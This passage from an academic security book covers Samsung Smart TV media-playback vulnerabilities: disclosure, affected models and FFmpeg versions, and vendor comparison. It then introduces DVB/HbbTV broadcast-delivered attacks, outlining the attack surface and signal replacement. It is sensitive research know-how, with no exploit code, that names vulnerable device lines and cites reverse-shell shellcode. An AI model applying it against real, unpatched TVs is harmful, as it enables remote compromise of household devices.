2.6.2 Disclosure
We notified the Samsung Security Team of the issues in the media playback in
November 2013, providing a PoC exploit for the 4xm vulnerability. The case was
closed, as 2009 and 2010 (B and C) models were no longer supported with updates,
despite the fact that we provided another PoC able to control the program counter
on all newer models. After having published the attack at a conference in Janu-
ary 2014 [22], we were approached by a journalist, which resulted in an article in
a major German news magazine published on February 17 [24]. From then on, the
issue was taken very seriously by Samsung, and we have collaborated with Samsung
Security to help understand and fix the buffer overflow vulnerability. A firmware
update containing a fix was issued in mid 2014 for all 2012 and newer models
(E, F, and H). For models from 2011 (D), Samsung has announced an update
scheduled for summer 2015.1 Apparently this issue will remain unfixed on older
models, though, which is why we are not publishing all details on the vulnerability.
2.6.3 Affected Devices
One of the first Smart TVs to feature a built-in media player was Samsung’s 2008
A-series. Only the mid-range to high-end models—variants 7, 8, and 9—supported
this feature, which was called WiseLink Pro. Initially this was possible for variant
6, too, if enabled in the service menu; however, this was removed with subsequent
firmware updates. The version of libavformat used was 52.7.0.
Samsung introduced this feature set as Medi@2.0 on its popular B-series in 2009,
implementing playback from USB mass storage and DLNA sources. It incorporated
libavformat version 52.23.1 from the end of 2008 on the popular B650 model.
This version of libavformat and hence all B-series TV sets with model numbers
650 and 7000 upwards are vulnerable to maliciously crafted 4xm files. There is no
firmware upgrade to fix the vulnerability and—due to the TV’s age—it is unlikely
that upgrades will be issued in the future.
The libavformat library was upgraded to version 52.34.0 for 2010 and 2011
models (C and D). The 4xm vulnerability is patched in this version, but not the
buffer overflow attack presented in Sect. 2.5.2. The media playback feature is called
Connect Share Movie and is available on the majority of these TV sets. The latest
firmware updates for the C-series are from 2012 and 2013, depending on the model.
For D-series models, the files contained in the latest firmware update are from
March 2014. Currently all of these devices must be considered vulnerable; owners of
D-series models, however, will be able to protect their STVs once Samsung releases
an upgrade.
Models from 2012 to 2014 are based on FFmpeg version 0.6.90-rc0, which con-
tains libavformat version 52.104.0. This version is affected by the presented buffer
overflow attack. It was fixed by Samsung after our disclosure and therefore all
STV sets running an up-to-date firmware version are no longer vulnerable to this
buffer overflow. However, the general issue remains and every newly discovered
vulnerability in libavformat may threaten the security of several generations of
deployed STVs (see Sect. 4.3). This will continue to pose a problem until the above-
mentioned mitigation strategies are employed.
1 The update was released in late June.

2.6 Discussion 31
2.6.4 Vendor Comparison
The exploits presented in this chapter were specific to FFmpeg and thus could be
applied to a wide variety of Samsung STV models. Other vendors use open source
software to assist in media processing, too. LG [17] and Sony [26, 27], for exam-
ple, use FFmpeg and GStreamer, an open source multimedia framework, on some
of their STV models.
Firmware updates—including the most recent—for (some) Android-powered
2014 Philips STVs contain an old FFmpeg version from January 2013, although
security fixes might have been backported by Philips. Android’s media processing
framework Stagefright [11] links against this library, as does the proprietary player
software from the SOC vendor. Furthermore, the Stagefright framework itself con-
tains multiple vulnerabilities, which was recently shown at a conference [4]. This is
of particular interest, as Android TV is quickly gaining momentum—Sony’s entire
2015 lineup of STVs features Android TV, as does the majority of new Philips
devices. The presented vulnerabilities in Stagefright are likely to be exploitable on
these Android TVs and also on set-top-boxes (STBs) [12].
The exploitation of vulnerabilities in the media playback system as presented in
this chapter is a generic attack method that poses a serious threat to the integrity of
STV systems and media-processing embedded devices in general. It is not limited
to open source libraries, but targeting them significantly eases the discovery and
exploitation of vulnerabilities. Table 2.1 lists several (open source) libraries and
frameworks for media processing that are used by major STV vendors.
Table 2.1 Media playback libraries used on Smart TVs (lavf=libavformat); information from
firmware (FW), user agent (UA), and open source web site (OS)
Component Version Released Vendor Model Year Source Notes
FFmpeg SVN-r158** 11.2008 Samsung B650 2009 FW lavf 52.23.1
SVN-r19089 05.06.2009 C6820 2010 FW lavf 52.34.0
D7000 2011 FW
0.6.90-rc 03.04.2011 ES7000 2012 FW lavf 52.104.0
F7000 2013 FW
HU8590 2014 UA
n1.0 28.09.2012 J* 2015 OS lavf 54.29.104
SVN-r17783 03.03.2009 LG LA8609 2013 OS lavf 52.31.0
0.6.1 18.10.2010 Sony R483B 2014 OS lavf 52.64.2
n1.1.1 20.01.2013 Philips PUS9*09 2014 FW lavf 54.59.106
GStreamer 0.10.36 20.02.2012 LG LA8609 2013 UA
Sony W705B 2014 OS
Samsung J* 2015 OS uses FFmpeg 2.2
Stagefright 1.2 12.02.2013 Philips PFS8209 2014 UA Android 4.2.2
Appendix
The exploits presented in this chapter are tailored for Samsung STVs, most of which
are powered by ARM CPUs. The Linux OS on these devices executes binaries con-
forming to the common Executable and Linkable Format (ELF) for ARM [2]. An
ELF file consists of a header and various sections containing instructions, data, a
symbol table, etc.
TEXT The TEXT section contains the executable instructions of the program or
library. It is usually mapped to memory with read and execute—but not write—
permissions. The entire section can be relocated if the contained code is position-
independent.
GOT Shared libraries can be loaded to (almost) arbitrary addresses in the virtual
address space of a process at runtime. Access to functions and data from other
shared libraries (imported symbols) therefore cannot rely on absolute addresses.
Instead, the corresponding addresses are resolved and stored in the Global Offset
Table (GOT).
PLT A function calls an imported function by jumping into the corresponding
function stub in the Procedure Linkage Table (PLT). This function stub loads the
resolved absolute address from the GOT to the program counter, i.e., jumps to the
imported function. If the address hadn’t been resolved previously, the GOT entry
contains the address of a resolver function.
BSS The BSS section is typically used for statically allocated variables that are
initialized with zero and filled with data during runtime.
References
1. Adobe. Real-time messaging protocol (RTMP) specification. http://www.adobe.com/devnet/

rtmp.html.
2. ARM. ELF for the ARM architecture, Nov. 2012. http://infocenter.arm.com/help/topic/com.
arm.doc.ihi0044e/IHI0044E_aaelf.pdf.
3. F. Bellard et al. QEMU open source processor emulator. http://www.qemu.org.
4. A. Blanda. Fuzzing the media framework in Android. Presented at the Android Builders
Summit, San Jose, USA, Mar. 2015. http://events.linuxfoundation.org/sites/events/files/slides/
ABS2015.pdf.
5. J. Bramley. Caches and self-modifying code. Blog post, ARM Connected Community,
Feb. 2010. http://community.arm.com/groups/processors/blog/2010/02/17/caches-and-self-
modifying-code.
6. S. Checkoway, L. Davi, A. Dmitrienko, A.-R. Sadeghi, H. Shacham, and M. Winandy. Return-
oriented programming without returns. In Proceedings of the 17th ACM Conference on Com-
puter and Communications Security, CCS ’10, pages 559–572, NY, USA, 2010. ACM.
7. DLNA organization. Digital Living Network Alliance (DLNA). http://www.dlna.org.
9. FFmpeg. FFmpeg releases. http://ffmpeg.org/releases/.
References 33
10. FFmpeg. The libavformat library. http://www.ffmpeg.org/libavformat.html.

11. Google. Android media: Stagefright. http://source.android.com/devices/media.html.
12. Google. Android TV, 2015. http://www.android.com/tv/.
13. HbbTV Association. Hbbtv 2.0 specification. Feb. 2015. https://www.hbbtv.org/pages/about_
hbbtv/specification-2.php.
14. T. Klein. A Bug Hunter’s Diary. A Guided Tour Through the Wilds of Software Security. No
Starch Press, 1st edition, Nov. 2011.
15. N. Klopfenstein. Linux/ARM – connect back /bin/sh. http://shell-storm.org/shellcode/files/
shellcode-754.php.
16. S. Krahmer. x86-64 buffer overflow exploits and the borrowed code chunks exploitation tech-
nique, 2005. http://users.suse.com/~krahmer/no-nx.pdf.
17. LG. Opensource code distribution. http://opensource.lge.com/osSch/list?types=ALL&
search=8609.
18. Linux kernel documentation. SECure COMPuting with filters. https://www.kernel.org/doc/
Documentation/prctl/seccomp_filter.txt.
19. Linux Programmer’s Manual. backtrace – support for application self-debugging (BACK-
TRACE(3)). http://man7.org/linux/man-pages/man3/backtrace.3.html.
20. H. Ma and G. Qiuying. Design of functions in Smart TV: A survey study of user accep-
tance on Smart TV functions, 2014. http://www.diva-portal.org/smash/get/diva2:743729/
FULLTEXT01.pdf.
21. M. Melanson. 4xm format. MultimediaWiki, Dec. 2003. http://wiki.multimedia.cx/index.php?
title=4xm_Format.
pages 351–356. IEEE, Jan. 2014.
23. Microsoft. Microsoft media server (MMS) protocol. https://msdn.microsoft.com/en-us/
library/cc234711.aspx.
24. H. Schmundt. Smart-TV. Glotze glotzt zurück. Der Spiegel, 8/2014. http://www.spiegel.de/
spiegel/print/d-125080841.html.
25. H. Schulzrinne, S. Casner, R. Frederick, and V. Jacobson. RTP: A transport protocol for real-
time applications, July 2003. RFC3550.
26. Sony. Source code distribution service, R4 series. http://oss.sony.net/Products/Linux/TV/
KDL-40R483B.html.
27. Sony. Source code distribution service, W series. http://oss.sony.net/Products/Linux/TV/
KDL-32W705B.html.
Chapter 3
Broadcast
Abstract A billion households worldwide receive digital television, employing

broadcast standards such as Digital Video Broadcasting (DVB). Interactive applica-
tions can be signaled and transported using the widely deployed Hybrid Broadcast
Broadband Television (HbbTV) standard. The DVB and HbbTV standards, how-
ever, lack mandatory authentication and integrity mechanisms for the transmitted
data. This allows a remote attacker to replace legitimate broadcasts by overpow-
ering the regular radio signal. The attacker-controlled signal can then deliver, e.g.,
a malicious HbbTV application, which in turn can be used to exploit local secu-
rity vulnerabilities on Smart TVs (STV) in range. To the best of our knowledge,
this work is the first to practically demonstrate that modern STVs can be compro-
mised remotely by malware transmitted over-the-air using DVB systems. A proof-
of-concept and several experiments are developed to assess important real-world
properties of DVB-assisted attacks. New results on the reach of such an attack and its
detectability are presented, which are used to propose an efficient protection scheme
to secure existing and future HbbTV-enabled receivers.
3.1 Introduction
Around 1995, broadcast stations around the world started introducing digital tele-
vision (DTV). This was a great success, and by the end of 2014, an estimated one
billion households were receiving DTV services [8].
Digital television has several advantages over analog TV, one of the most impor-
tant being the more efficient use of (bandwidth-limited) radio channels. Video and
audio data compression—source coding—allows the simultaneous transmission of
multiple digital programs within the same bandwidth that was previously required
for a single analog program. Consequently, most broadcast stations around the world
switched off analog TV transmissions during the last decade.
Switching to DTV brought another advantage: The ability to send digital data
to receivers. Now broadcasters were able to enrich the running program with extra
information. Multiple standards were defined to allow delivery of interactive appli-
cations to TVs, using the digital broadcast channel as a transport; examples are

DOI 10.1007/978-3-319-20994-4_3
36 3 Broadcast
MHP [12] and MHEG-5 [17]. None of them, however, managed to gain broad accep-
tance, in part due to their incompatibility with each other.
To overcome these problems, a pan-European initiative was established to define
a new standard, Hybrid Broadcast Broadband TV (HbbTV) [16]. HbbTV leverages
elements from the open standards OIPF [36], CEA [6], DVB [13], and W3C [51].
Applications are written in CE-HTML, a consumer electronics version of HTML,
which allows developers to combine TV and Internet content on a single TV screen.
In the last few years, HbbTV has become the predominant technology for hybrid
DTV and is being adopted by many countries around the world [33]. Market
research [7] on HbbTV device support indicates that 92 % of the Smart TVs (STV)
sold in Germany in 2014 implement HbbTV. German marketer SevenOne Media
reports [45] ten million unique devices accessing the HbbTV service of the German
broadcast program ProSieben every month (see Sect. 3.8.4).
HbbTV applications are supposed to indicate their presence to the user by dis-
playing a red button in the corner of the TV screen, which is why they are also called
red-button apps. From a user point of view, applications are not activated until the
red button on the remote control is pressed. Once activated, the user can interact
with the application using the remote control. Technically, however, the launch of
HbbTV applications on the user’s Smart TV is controlled by the broadcaster, not
the user (see Sect. 3.3). It is the responsibility of the application to hide itself and
indicate its presence by displaying the red button. From a usability standpoint, this
design decision does not make a difference. It does have, however, significant impli-
cations for the privacy and security of STV users.
Malicious parties can operate power- and range-limited rogue broadcast stations
with readily available hardware and software, affecting terrestrial, satellite, cable,
and potentially even IP-based transmissions. This control over the broadcast chan-
nel can be abused to deliver HbbTV applications that exploit vulnerabilities in the
firmware of STVs. The broadcaster’s control over the applications’ life cycles makes
these attacks particularly dangerous.
This chapter covers the topic of broadcast-assisted attacks against STVs.
Sections 3.2 and 3.3 briefly introduce DVB and HbbTV, followed by a section dis-
cussing previous work on the security and privacy of HbbTV. It continues with a
description of broadcast-related attacks, exploring the attack surface of STVs and
the various methods of broadcast distribution in Sect. 3.5. The following section
presents our proof-of-concept (PoC) man-in-the-middle (MITM) attack against
STVs. Section 3.7 provides an analysis of the co-channel protection ratios (CCPR)
required for launching broadcast-assisted attacks and the resulting attack ranges.
Then, Sect. 3.8 evaluates the cookie jar isolation between web runtimes of several
STVs. These insights are used to propose an efficient protection scheme in Sect. 3.9.
The last section summarizes the results of this chapter and gives an outlook on future
research areas.
3.2 DVB 37
3.2 DVB
Digital Video Broadcasting (DVB) [18] is a set of standards for digital television,
covering all aspects from data formats to physical transmission. A typical TV pro-
gram consists of many components, e.g., a video and multiple audio streams, tele-
text information, subtitles, and even applications. This data is encoded in separate
elementary streams (ES), which are transmitted as packetized elementary streams
(PES). Each packet is 188 bytes long and contains a packet identifier (PID), which
enables decoders to reassemble the original elementary streams. DVB uses the
MPEG-2 Systems section [29] for the generation of packetized elementary and
multiplexed transport streams. For source coding (i.e., compression) of video data,
DVB initially mandated the use of MPEG-2 video [30], which was later extended
to include H.264/AVC, HEVC, and VC-1. Similarly, there are several options avail-
able for encoding audio, e.g., MPEG-2 audio [28]. Figure 3.1 illustrates the con-
tents of an MPEG-2 transport stream, in which the German public program Das
Erste serves as an example. This program contains several elementary streams and
HbbTV applications.
For broadcasting, a number of programs are multiplexed to form a single MPEG-
2 transport stream (TS). This TS is then transmitted from the broadcaster to set-top
boxes and TVs either over the air or via cable. This requires specific modulation
and forward error correction schemes depending on the transmission media, i.e.,
terrestrial (DVB-T) [11], satellite (DVB-S) [9], or cable (DVB-C) [10].
3.2.1 PSI and SI Tables
The broadcast MPEG-2 TS carries metadata for all contained programs and their
respective components, which is called Program-Specific Information (PSI) [29].
MPEG-2
Transport Stream Program 14
1401
Video
0 1400 1402 HbbTV Apps
Audio1
PAT PMT 1403
HbbTV- Media-
Audio2
Teletext
1404 Start thek
1 1500
1405
CAT PMT Subtitles
2070 EPG
16
AIT
2171
NIT Carousel
Fig. 3.1 MPEG-2 transport stream with PSI and SI tables and their respective PIDs; values cor-
respond to the German public TV program Das Erste
38 3 Broadcast
It includes the Program Allocation Table (PAT), the Program Map Table (PMT),
and the Conditional Access Table (CAT). The PAT is transported on PID 0, and is
used to associate each program number with the packet identifier (PID) of a cor-
responding PMT. The PMT specifies a program’s components, i.e., their type and
associated PID; the CAT is required to manage conditional access (PID 1). If the
user chooses to watch a certain program, the decoder will query the PAT to find the
PID of the program’s PMT. This in turn allows the decoder to identify the PIDs of
the components required to display the program, such as video and audio streams.
In addition to the PSI defined by the MPEG-2 standard, DVB defines Service
Information (SI) tables that are used to convey additional information to receivers.
The Application Information Table (AIT) is used to signal interactive applications,
whereas the Event Information Table (EIT) and Network Information Table (NIT)
convey an Electronic Program Guide (EPG) and contain information on relevant
broadcast networks, respectively. Figure 3.1 illustrates the relation between several
PSI and SI tables.
3.2.2 Transmission
DVB specifies two basic modulation schemes: Phase Shift Keying (PSK) and Qua-
ternary Amplitude Modulation (QAM). Depending on the transmission media—
satellite, cable, or terrestrial—they are used to modulate either a single or multiple
carriers. PSK conveys information by changing the phase of the signal with respect
to a reference signal or to itself. For phase changes of 180◦ , this is called binary PSK
(BPSK) and differential BPSK (DBPSK), respectively. A common variation is qua-
ternary PSK (QPSK), which modulates the binary data stream onto two orthogonal1
sinusoidal basis functions. QAM can be seen to extend QPSK by encoding further
data bits onto the amplitude of the two QPSK carriers.
The second-generation transport standards DVB-T2, DVB-S2, and DVB-C2 add
further modulation and Forward Error Correction (FEC) schemes. In the scope of
this work, they can generally be treated similarly to their first-generation counter-
parts and are therefore not further elaborated upon. Nevertheless, aspects such as
the increased robustness of DVB-T2 are an interesting area for future research.
Terrestrial
Terrestrial broadcast stations [11] are generally situated at an elevated location such
as a radio tower or hill. From there the signal is broadcast over-the-air to house-
holds, which—depending on the signal strength—use indoor, outdoor, or rooftop
antennas.
In Western Europe, DVB-T uses 7 MHz-wide channels in the VHF band (177.5–
226.5 MHz) and 8 MHz-wide channels in the UHF band (474–786 MHz). DVB-T
1 90◦ phase difference

3.2 DVB 39
uses Coded Orthogonal Frequency-Division Multiplexing (COFDM), i.e., the digi-

tal data is used to modulate a large number of closely spaced adjacent sub-carriers.
This allows receivers to cope with frequency-selective fading caused by multipath
propagation. Another protective feature is the use of guard intervals, which allows
broadcast stations to eliminate inter-symbol interference and to operate Single-
Frequency Networks (SFN). Continual and scattered pilot tones are used for channel
estimation and the compensation of intra-symbol interference [49].
In DVB-T, all data subcarriers use the same modulation parameters, chosen from
QPSK, 16-QAM, or 64-QAM, i.e., two, four, or six bits per symbol. In addition to
the outer Reed-Solomon (204, 188) error correction, DVB-T uses an inner Forward
Error Correction (FEC) scheme with code rates (CR) between 1/2 and 7/8 [11].
DVB-T can operate in either the 2K or 8K transmission mode with 1,705 or 6,817
carriers, respectively. Besides data and reference carriers, there are also carriers for
Transmission Parameter Signalling (TPS). As the name indicates, these carriers are
used to convey information about the currently used transmission parameters. All of
the TPS carriers are DBPSK-modulated and carry the same message.
Satellite
Satellite broadcast systems are able to provide coverage to large geographical areas.
The transport stream is QPSK-modulated onto a single carrier at the uplink station
and transmitted to a geostationary satellite 36000 km away. At the satellite, the sig-
nal is mixed to the downlink frequency, amplified, and retransmitted. The signal has
to travel the same distance back to earth, during which the signal strength decreases
by approximately 200 dB. This weak signal is then received on earth with a par-
abolic reflector antenna, amplified and down-converted to an intermediate frequency
by the low-noise block downconverter (LNB) for distribution in the household, and
finally fed into the receiver.
Cable
Cable broadcast systems use a direct coaxial cable connection to consumers. DVB-C
uses a single QAM carrier and does not require guard intervals or inner FEC. Typical
values are 16-QAM and 64-QAM at a bandwidth of 6 or 8 MHz [19].
Channel Models
The transmission path in wireless systems, i.e., the path between the transmitter
and the receiver, greatly affects the received signal quality. Ideally, only one signal
path leads to the receiver, over a direct line-of-sight (LOS) connection. The signal is
subject to attenuation and additive white Gaussian noise (AWGN); this channel—
called a Gaussian channel—offers the best conditions for a receiver.
40 3 Broadcast
(a) (b) (c)
Fig. 3.2 Channel models a Gaussian (AWGN) b Ricean c Rayleigh
Reception becomes more difficult if there are additional signal paths to the
receiver’s antenna. In this multipath propagation scenario, reflections cause the
dominant direct signal to be distorted by multiple echoes; this channel is called the
Ricean channel. Finally, if the dominant signal path is blocked and only reflections
of the signal reach the receiving antenna, the channel is called a Rayleigh chan-
nel. This channel offers the worst conditions for a stationary receiver. Figure 3.2
illustrates these three channels.
Satellite channels have a single, LOS transmission path to receivers and are there-
fore basically Gaussian channels. Terrestrial channels, on the other hand, are gener-
ally subject to multipath propagation and thus follow a Ricean or Raleigh channel
model; these models are used for stationary receivers with roof-top and portable
antennas, respectively. Even though the Gaussian channel is ill-suited to model the
terrestrial channel in practice, calculated and measured minimum channel-to-noise
(C/N) ratios can be used as a reference baseline when performing simulations for the
other channel models. According to Reimers et al. [42], the transition from Gaussian
to Ricean channel increases the required C/N ratio by up to 1.1 dB, whereas the tran-
sition from Gaussian to Rayleigh channel adds up to 8.9 dB (cf. Sect. 3.7).
3.3 HbbTV
Hybrid Broadcast Broadband Television (HbbTV) [16] is a standard that allows

broadcasters to augment their TV programs with interactive applications.
The standard has been adopted by many countries, especially in Europe, and is under
constant development. In these countries, TV set manufacturers started to include
support for HbbTV around 2011, and nowadays practically every new Smart TV
supports it.
HbbTV works by including information on available applications in the broad-
cast signal. Every program can have several associated applications, one of which
is started automatically upon selection of the respective program. In general, this
so-called red button application is supposed to indicate the presence of an HbbTV
application by displaying a custom red button in the lower right-hand corner. If the
user presses the red button on the remote control, the application will come to the
foreground and present its user interface (UI), e.g., EPG or catch up TV. Technically,
this functionality can be either implemented in one of the associated applications or
contained within the automatically started app.
3.3 HbbTV 41
Signaling The broadcast transport stream contains a Program Map Table (PMT),
which indicates to the receiver the available programs and their respective compo-
nents. One of these components is the Application Information Table (AIT), which
lists all available applications for the respective program. Furthermore, it indicates
which of these applications should be started automatically and which transports
can be used to fetch the applications.
Transports There are two transports available for the delivery of HbbTV apps:
HTTP(S) and the DSM-CC object carousel. In the former case the applications
are hosted on the broadcast station’s web server and fetched via HTTP(S) by the
receiver. Obviously, this requires the STV to be connected to the Internet. The alter-
native is to embed the application in the broadcast stream itself, i.e., in an object
carousel. A drawback of the latter method is the high cost of broadcast capacity.
Both transports can be signaled for an application at the same time, which allows
broadcasters to provide apps to TV sets with and without Internet access, albeit the
latter potentially with limited functionality.
Version Currently deployed devices comply to HbbTV 1.0 and 1.5 from 2010 and
2012, respectively. The specification for HbbTV 2.0 [24] was released in Febru-
ary 2015; compliant devices are expected for 2016. HbbTV 2.0 features several
improvements, e.g., full HTML5 and companion screen support, push VOD, and
enhanced privacy options regarding the use of HTTP cookies. The experiments in
this chapter were performed on devices compliant to HbbTV 1.x, but the results
apply to all versions unless noted otherwise.
Alternatives There are several competing standards for interactive digital televi-
sion (ITV) services apart from HbbTV. The Multimedia Home Platform (DVB-
MHP) [12] is an open standard for ITV created by the DVB project. MHP appli-
cations run in a Java virtual machine that offers a generic API to access the device’s
resources. It is used in several countries, for example in Italy. MHEG-5 [17] is an
interpreted language that is profiled for the use in broadcast ITV applications. It is
used by free-to-air broadcasters in the UK, Australia, and New Zealand, for exam-
ple. Ginga [1] is an open standard for ITV applications that has been developed
in Brazil; it is used in several South American countries. Applications are written
either in a declarative language (Ginga-NCL) or in Java (DVB-J).
3.4 Previous Attacks
There have been a couple of publications regarding HbbTV in the past two years
[21, 22, 27, 37]. These revealed privacy issues as well as network-related attacks
made possible by the HbbTV standard. None of them, however, have so far actually
conducted over-the-air attacks or have gained full system control over the TV via
HbbTV. We are the first to perform these attacks, as described in the course of this
chapter.
42 3 Broadcast
3.4.1 Privacy
Privacy issues related to HbbTV were first published by Ghiglieri, Oswald, and
Tews [21]. In their work, they analyzed the traffic exchanged between HbbTV-
enabled Smart TVs and broadcast stations. They found out that currently deployed
HbbTV applications allow for the collection of information on users’ viewing
behavior, not only by the broadcast station but also by third parties. This is enabled
by the way HbbTV works: The broadcaster controls an app that is automatically
launched on the STV; this app is then able to communicate with any host on the
Internet as long as the user does not switch the channel. From a user perspective,
however, it appears as if the app were only launched upon pressing the red button,
which in reality only changes the visibility of the already running app.
The authors observed that while some broadcasters used apps that only connected
once to load the app, others sent requests repeatedly. This allowed the broadcaster
to know not only when users started to watch their program, but also for how long.
In addition, some of the broadcasters included tracking code, e.g., from Google
Analytics.
As the authors further show, HbbTV traffic sent over a wireless network con-
nection (WiFi) can be fingerprinted and thus allows neighbors to snoop on view-
ing habits, regardless of the employed WiFi encryption. First, a database containing
characteristic packet sizes is established with the help of a reference TV; only server-
originated packets are considered. Then encrypted wireless networks are monitored
to identify characteristic packet sizes, which can be linked to the currently tuned
channel with high probability.
The authors note that cookies set by the broadcasters’ servers were not trans-
mitted back to the servers on the two evaluated devices, and that it was unclear if
this was an implementation flaw or a privacy mechanism. The original HbbTV 1.0
specification [14] did not mention cookies and thus did not require terminals to sup-
port them. Cookies were first mandated early 2012 with errata 1, which was further
extended and incorporated to HbbTV 1.5 by the end of 2012 [16]. Nowadays, all
vendors support cookie handling, albeit some of the implementations are flawed, as
we show in Sect. 3.8.
Ghiglieri and Tews propose a privacy protection system [22] for HbbTV, which
employs a transparent proxy device to intercept and analyze the communication
between the STV and the Internet. Whenever the proxy detects a request from the
STV to a broadcaster, the request is intercepted and a green button is signaled to the
STV instead. Only if the user presses the green button and thus explicitly requests
HbbTV content is the connection established between the TV and the broadcaster’s
servers. This is in line with what the user expects: No data is transferred except if
explicitly requested.
3.4 Previous Attacks 43
3.4.2 Request Forgery
Oren and Keromytis propose a number of interesting request forgery attacks in their
work [37]. HbbTV allows the broadcaster to set the origin of carousel-delivered
apps, which makes these attacks possible.
In the unauthenticated request forgery attack the malicious broadcast-delivered
app loads a victim site in an iframe. Due to the same origin, the app is allowed to
fully interact with the victim site, i.e., analyze the content and “click” on links. As
the authors note, this could be used for example to promote web sites or generate
ad revenue. Similarly, the attack can be used to target devices on the local network,
such as routers.
In an important variation of this attack, the authors describe an authenticated
request forgery attack, which is substantially more dangerous. Here it is assumed
that the user has previously authenticated to a victim web site using another appli-
cation on the Smart TV (e.g., the web browser), which now holds a session cookie or
something similar. The authors assume that this authentication token is shared with
the HbbTV runtime and thus HbbTV requests are authenticated, as well. Despite the
fact that this attack did not work on their test device, they claim in the introduction
that by exploiting the HbbTV standard’s vulnerabilities an attacker would be able
to use “any credentials stored in the TV sets” to interact with any web site. We dis-
agree and provide experimental evidence in Sect. 3.8 that this attack poses no threat
in practice.
3.4.3 Various
Martin Herfurt describes various potential HbbTV attacks on his blog [27]. A very
straightforward approach is to compromise the web servers hosting the HbbTV
application; however, this is not specific to the TV domain. Another option is fake
news tickers, which could be inserted by a malicious HbbTV app. Furthermore,
available CPU and GPU power could be leveraged for Bitcoin mining. Herfurt also
mentions possible attacks on the local network.
In another blog post Herfurt proposes a protection scheme based on DNS block-
ing. Users are encouraged to configure their Smart TVs to use a DNS server operated
by Herfurt, which redirects all requests to his web server. This is supposed to protect
the privacy of the user and to prevent the execution of malicious content on the STV.
However, this approach is not able to protect against malicious content delivered in
the DSM-CC carousel or if the URL contains an IP instead of a DNS address. In
addition, it requires Smart TV users to trust Herfurt and his server.
44 3 Broadcast
3.5 Compromising Smart TV Security via HbbTV
Smart TVs are embedded systems, running increasingly complex software on top of
an operating system such as Linux. Unlike their PC counterparts, many STVs lack
sophisticated mechanisms to protect against software exploitation and malware. In
combination with slow, incomplete, and eventually non-existent update cycles, these
vulnerabilities are easy to exploit for local attackers (see Sect. 4.3.1).
So far, however, Smart TVs have remained rather safe from remote attacks, pro-
tected behind the home or office router’s NAT gateway and firewall. This means
that despite the software running on STVs being vulnerable, there was no way for
an attacker to exploit this remotely. This has changed, however, with the introduc-
tion and widespread adoption of broadcast-delivered (interactive) digital services
such as HbbTV. Now, the software and its vulnerabilities are exposed to an attacker
able to control the broadcast channel. To make matters worse, the required broad-
cast equipment—previously expensive and bulky—has become affordable and easy
to handle. As we will see, this enables particularly dangerous attacks that do not
require user interaction, are invisible to the user, and can persist for the device’s
entire lifetime.
The first step an attacker has to take is to analyze the attack surface of the STVs
being targeted. Once a suitable vulnerability is found, an exploit has to be developed,
which is then embedded in a malicious HbbTV application. Finally, the attacker
has to physically replace the regular broadcast signal with his own and deliver the
application containing the exploit. The application exploits the vulnerability on the
STV and proceeds to execute any payload of the attacker’s choosing.
In principle, interactive services other than HbbTV could be used to deliver
malware to STVs, too. The consortia responsible for Ginga, MHP, and MHEG-5
should analyze the respective standards in this regard. This book, however, focuses
on HbbTV.
3.5.1 Smart TV Attack Surface
A typical Smart TV uses a Linux-based OS powered by an ARM or MIPS-based

system-on-chip. Until recently, this was a custom Linux with BusyBox and a few
other standard Linux tools on top. Apparently this is changing; in 2014 LG switched
to WebOS and Sony to Android, followed this year by Philips’ move to Android,
Samsung’s move to Tizen, and Panasonic featuring Firefox OS on their premium
models. On top of the OS runs a large proprietary application implementing and
controlling the STV’s functionality and interacting with the consumer. For this it
utilizes a number of open source libraries and tools, e.g., for media handling, decom-
pression, and rendering of web content.
3.5 Compromising Smart TV Security via HbbTV 45
Any sufficiently complex software contains vulnerabilities, which are discovered

and fixed on a regular basis. For open source software this means the vulnerabili-
ties become public knowledge once a fix is issued, if not earlier. Systems using this
software therefore have to be updated in a timely manner. For PCs using Linux dis-
tributions, the distributor immediately provides updated software packages, which
are automatically installed. For Smart TVs, this is not the case, as the vendor has
to provide firmware updates for the entire product line, which happens much less
frequently. Even worse, STVs usually come with a two-year warranty after which
there is no guarantee that the vendor will continue to provide firmware updates.
Smart TVs, however, are generally in use for far longer than two years, and hence
continuously accumulate unfixed vulnerabilities. This topic is discussed thoroughly
in Sect. 4.3.1.
Additional bugs can be identified in proprietary software by reverse engineering
or fuzzing. Attackers can target all of these vulnerabilities. Their exploitation is
comparatively easy, as many STVs lack security best practices established in the PC
world. Privilege separation, sandboxing, and exploitation countermeasures such as
DEP and ASLR [32] are still implemented only on a fraction of deployed STVs.
The reason that keeps vendors from providing timely firmware updates also poses
a challenge to attackers: The large amount of available Smart TV models and hence
different software. An attacker therefore generally has to adopt his exploit for each
and every different Smart TV model he wants to include in the attack. It is interesting
to see how the ongoing consolidation towards Tizen, Android, and WebOS will
affect this.
Figure 3.3 shows the functional components of an HbbTV receiver [16]. An
attacker controlling the broadcast channel can exploit vulnerabilities in the HbbTV
runtime, the media player, and the broadcast processing components.
Runtime Environment
Application Manager Browser
AIT DSM-CC Broadcast Media

Filter Client Processing Playback
Broadcast Broadband
Interface Interface
Fig. 3.3 Functional components of an HbbTV receiver [16]. Browser, media playback, and broad-
cast processing can be attacked with a rogue transmitter
46 3 Broadcast
HbbTV Runtime HbbTV apps are written in CE-HTML; hence most runtimes are
based on existing web browser projects. Vulnerabilities for these existing code bases
are published and fixed on a regular basis (see Sect. 4.3.1). Applying all of these
patches to the entire product line of current and previous years in a timely fashion
is a huge effort and currently not implemented satisfyingly.
Media Playback This is a central component in any modern Smart TV, which is
used for applications such as video-on-demand, but also for HbbTV-based playback.
We have previously demonstrated [35] that vulnerabilities in the media playback
system can be exploited to compromise the security of Smart TVs (see Chap. 2).
DVB Tables Processing The DVB standard defines a number of tables, which are
delivered in the broadcast transport stream and are processed by the Smart TV. If
the processing software contains vulnerabilities, this may be exploited by transmit-
ting specially crafted tables. Similar attacks might be possible against vulnerable
implementations of the DVB subtitling system [11].
3.5.2 Replacing the Regular Broadcast Signal
“The authentication of a Broadcast-Related Application [...] is implicit, as it

is considered difficult for unauthorized parties to insert an application in a
broadcast signal.” — HbbTV Forum Nederland (2013) [26]
To successfully deliver a malicious HbbTV app, an attacker needs to gain control

over the broadcast channel. As described in Sect. 3.2, DVB defines three main distri-
bution methods: Terrestrial, satellite, and cable. The method to replace the broadcast
signal depends on the transmission type.
Terrestrial
DVB-T broadcasts are transmitted over-the-air; an attacker will therefore have to
overpower this signal. Depending on the attacker’s intention, there are various attack
scenarios: The targeted, the untargeted small range, and the regional repeater sce-
nario. In the targeted scenario an attacker would try to compromise the STV of a
specific person of interest, most likely using a highly directional antenna. For the
small range scenario, all TVs in the vicinity of the attacker’s transmitter will be
